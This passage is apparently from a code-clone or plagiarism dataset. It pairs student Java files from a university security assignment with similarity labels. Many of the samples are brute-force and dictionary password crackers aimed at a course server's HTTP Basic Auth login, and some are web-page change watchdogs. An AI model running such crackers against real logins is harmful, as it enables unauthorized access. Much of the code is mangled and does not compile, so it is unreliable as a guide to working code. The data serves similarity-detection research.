startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println("Total Number of Passwords Generated: " + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( "\n" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used:" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
226.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
if (((str=in.readLine())!=null)&&(!str.endsWith("d0")))
{
System.out.println(str);
try
{
socket = new Socket("yallara.cs.rmit.edu.",25);
PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
String linetobesent = null;
BufferedReader getin = null;
try
{
FileReader = new FileReader("template.txt");
getin = new BufferedReader();
while (!(linetobesent=getin.readLine()).equals(""))
{
System.out.println(linetobesent);
output.println(linetobesent);
}
output.println("Orignail Line .s C New Line .s " + str);
while ((linetobesent=in.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
while ((linetobesent=getin.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
cmd = new String("cp new.txt original.txt");
System.out.println(cmd);
pro = run.exec(cmd);
}
catch (IOException ex)
{
System.out.println(ex);
}
catch (Exception ex)
{
System.out.println(ex);
System.exit(ERROR);
}
finally
{
try
{
if (getin!= null)
getin.read();
}
catch (IOException e) {}
}
}
catch (UnknownHostException e)
{
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e)
{
System.out.println(e);
System.exit(ERROR);
}
}
else
System.out.println("string is empty");
}
catch (IOException exc)
{
}
}
}
Watch listener = new Watch();
Timer t = new Timer(null,listener);
t.close();
JOptionPane.showMessageDialog(null,"Exit WatchDog program?");
System.exit(0);
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
085.java | 197.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class Dictionary extends Thread {
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
Dictionary parent;
static LineNumberReader lnr;
public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
String word = "";
starttime = System.currentTimeMillis();
try
{
boolean passwordOkay;
while(word != null && !parent.solved)
{
passwordOkay = false;
while(!passwordOkay || word == null)
{
word = lnr.readLine();
passwordOkay = true;
if(word.length() != 3) passwordOkay = false;
}
response = tryLogin(word);
x++;
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")");
}
}
catch(Exception e)
{
System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
Dictionary parent;
try
{
lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words"));
}
catch(Exception e)
{
System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
Dictionary[] attackslaves = new Dictionary[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: Dictionary <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new Dictionary(host, path, user, 0, 0, null, lnr);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = UNKNOWN;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
215.java | 197.java | 0 |
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
131.java | 197.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
index3 = 0;
while(index3 < NUM_CHARS)
{
crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
index3++;
}
index2++;
}
index1++;
}
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader(isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
017.java | 197.java | 0 |
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
077.java | 197.java | 0 |
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
133.java | 197.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = "";
private String myPassword = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty ("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
174.java | 197.java | 0 |
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
218.java | 197.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
250.java | 197.java | 0 |
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
